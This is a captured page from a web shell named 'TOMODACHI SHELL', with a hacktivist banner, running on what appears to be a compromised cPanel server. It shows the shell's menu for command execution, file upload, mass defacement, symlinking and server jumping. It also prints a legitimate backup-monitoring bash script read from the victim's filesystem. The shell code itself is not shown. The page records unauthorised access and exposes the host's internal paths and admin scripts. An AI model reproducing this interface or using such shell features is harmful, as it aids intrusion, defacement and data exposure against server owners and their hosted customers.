TOMODACHI SHELL

Free Palestine !! - Free Gaza !!


 
OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/../opt/managed_servers/python/../scripts/

 Home   ☍ Command   ☍ Upload File   ☍Info Server   ☍ Buat File   ☍ Mass deface   ☍ Jumping   ☍ Config   ☍ Symlink   ☍ About 

Current File : //usr/../opt/managed_servers/python/../scripts/backup_age.sh
readonly BACKUP_AGE_DATA="${BACKGROUND_DATA}/backup_age_check.data";
readonly BACKUP_ADVANCED_AGE="backup has been performed too long ago";
readonly CPBKP_LOG_LOW_DISK="Available disk space \([0-9]+ percent\) is too low. Backups will not run.";
readonly CPBKP_LOG_NO_SPACE="No space left on device";
readonly CPBKP_OK="Daily backup is Ok";
readonly CPBKP_LOG_PARTIAL_FAIL="Final state is Backup::PartialFailure";
readonly CPBKP_LOG_FAIL="Backup::Failure";
readonly BACKUP_NO_LOGS="There are no backups logfiles";
readonly BACKUP_IN_PROGRESS="backup_in_progress";
readonly BACKUP_STARTED="backup_started";
readonly BACKUP_AGE_CHECK_ERRORS="${BACKGROUND_DATA}/backup_age_check.errors";
readonly BACKUP_SCHEDULED="backup scheduled for today";
readonly CPBKP_DISABLED="BACKUPENABLE: 'no'"

backup_schedule_check(){
        local bkp_conf="/var/cpanel/backups/config";
        local daily_days=$(grep BACKUPDAYS $bkp_conf);
        local weekly_days=$(grep BACKUP_WEEKLY_DAY $bkp_conf);
        local monthly_days="$(grep BACKUP_MONTHLY_DATES $bkp_conf | cut -d: -f2 | tr ',' ' ')";
        local week_day=$(date +%w);
        local month_day=$(date +%e);

        if [[ $daily_days =~ $week_day || $weekly_days =~ $week_day ]]; then
                return 1; # Skip backup forcing
        fi;

        for mday in $monthly_days; do
                if [[ $mday =~ $month_day ]]; then
                        return 1; # Skip backup forcing
                fi;
        done;

        return 0; # The new backup creation can be forced
}

start_bkp() {
        # Fix to:
        # local backup_force_msg=$(/usr/local/cpanel/bin/backup --force 2>&1);
        # local backup_force_return_code=$?;
        # local bkp_start_fail_low_disk="Available disk space \(\d+ percent\) is too low\.";
        # if [[ $backup_status -ne 0 ]]; then
        #       if $(grep -qP "$p" <<< "$backup_force_msg"); then
        #               # Failed to start the new backup process
        #               backup_age_check_data[service_status]=$SERVICE_DOWN;
        #               backup_age_check_data[backup_status]=$(base64 -w0 <<< "$backup_force_msg");

        /usr/local/cpanel/bin/backup --force 1>/dev/null 2>&1;
        backup_status=$?;
        last_bkp_log=$(find /usr/local/cpanel/logs/cpbackup/ -type f -printf "%T@ %p\n" | sort -n |
                tail -1 | cut -d' ' -f2);

        if [[ $backup_status -ne 0 ]]; then
                # Failed to start the new backup process
                backup_age_check_data[service_status]=$SERVICE_DOWN;

                if [[ -z $last_bkp_log ]]; then
                        backup_age_check_data[backup_status]=$(base64 -w0 <<< "$BACKUP_NO_LOGS");
                else
                        # Provide a path to the last backup log
                        backup_age_check_data[backup_status]=$(base64 -w0 <<< "$last_bkp_log");
                fi;
        else
                backup_age_check_data[service_status]=$BACKUP_STARTED;
                backup_age_check_data[auto_fix_status]=$AUTO_FIX_NOPE;
                backup_age_check_data[log_file]="$last_bkp_log";
        fi;
}

force_new_bkp(){
        local backup_status;
        backup_schedule_check;
        backup_status=$?;

        # Start a new backup creation if there are no backup logs
        if [[ -z $last_bkp_log && backup_status -eq 0 ]]; then
                start_bkp;
        # Manual check required if the last backup has failed for unknown reasons
        elif [[ -n $(grep -oE -e "$CPBKP_LOG_LOW_DISK" -e "$CPBKP_LOG_FAIL" -e "$CPBKP_LOG_PARTIAL_FAIL" -e "$CPBKP_LOG_NO_SPACE" "$last_bkp_log" 2>/dev/null) ]]; then
                backup_age_check_data[backup_status]=$(tail -20 "$last_bkp_log" | base64 -w0);
                backup_age_check_data[service_status]=$SERVICE_DOWN;
        elif [[ "$(ps aux | grep -e pkgacct -e "/bin/backup" | grep -e "/backup/" -e "backup --force")" ]]; then
                # The backup creation is already in progress
                backup_age_check_data[service_status]=$BACKUP_IN_PROGRESS;
                backup_age_check_data[auto_fix_status]=$AUTO_FIX_NOPE;
                backup_age_check_data[log_file]="$last_bkp_log";
        elif [[ $backup_status -ne 0 ]]; then
                backup_age_check_data[service_status]=$SERVICE_ACTIVE;
                backup_age_check_data[backup_status]=$(base64 -w0 <<< "$BACKUP_SCHEDULED");
        else
                start_bkp;
        fi;
}

backup_age_check_main(){
        declare -A backup_age_check_data;
        backup_age_check_data[nagios_data]="$(/usr/local/nagios/plugins/check_newbackup -v)";
        local last_bkp_log=$(find /usr/local/cpanel/logs/cpbackup/ -type f -printf "%T@ %p\n" | sort -n |
                tail -1 | cut -d' ' -f2);

        if [[ $(grep "$CPBKP_DISABLED" /var/cpanel/backups/config) ]]; then
                backup_age_check_data[service_status]=$SERVICE_DISABLED;

                # Temporarily disabled, to prevent automatic acknowledge, such cases should be checked manually, in case
                # backups were disabled by a mistake.
                # backup_age_check_data[auto_fix_status]=$AUTO_FIX_NOPE;
        elif [[ ${backup_age_check_data[nagios_data]} =~ $CPBKP_OK && -z $(grep -oP "$CPBKP_LOG_LOW_DISK" "$last_bkp_log") ]]; then
                backup_age_check_data[service_status]=$SERVICE_ACTIVE;
        elif [[ ${backup_age_check_data[nagios_data]} =~ $BACKUP_ADVANCED_AGE || ${backup_age_check_data[nagios_data]} =~ $BACKUP_NO_LOGS ]]; then
                force_new_bkp;
        else
                # Provide some context as to why backup has failed
                backup_age_check_data[backup_status]=$(tail -20 "$last_bkp_log" | base64 -w0);
                backup_age_check_data[service_status]=$SERVICE_DOWN;
        fi;

        unset backup_age_check_data[script_status];
        bash_arr_to_json backup_age_check_data ${!backup_age_check_data[@]} > "$BACKUP_AGE_DATA";
}

backup_age_check(){
        run_check_in_background "backup_age_check_main" "$BACKUP_AGE_DATA" "$BACKUP_AGE_CHECK_ERRORS"\
                "${CHECK_LOCKS_DIR}/${FUNCNAME}.lock";
}

TOMODACHI | Tempest Hacker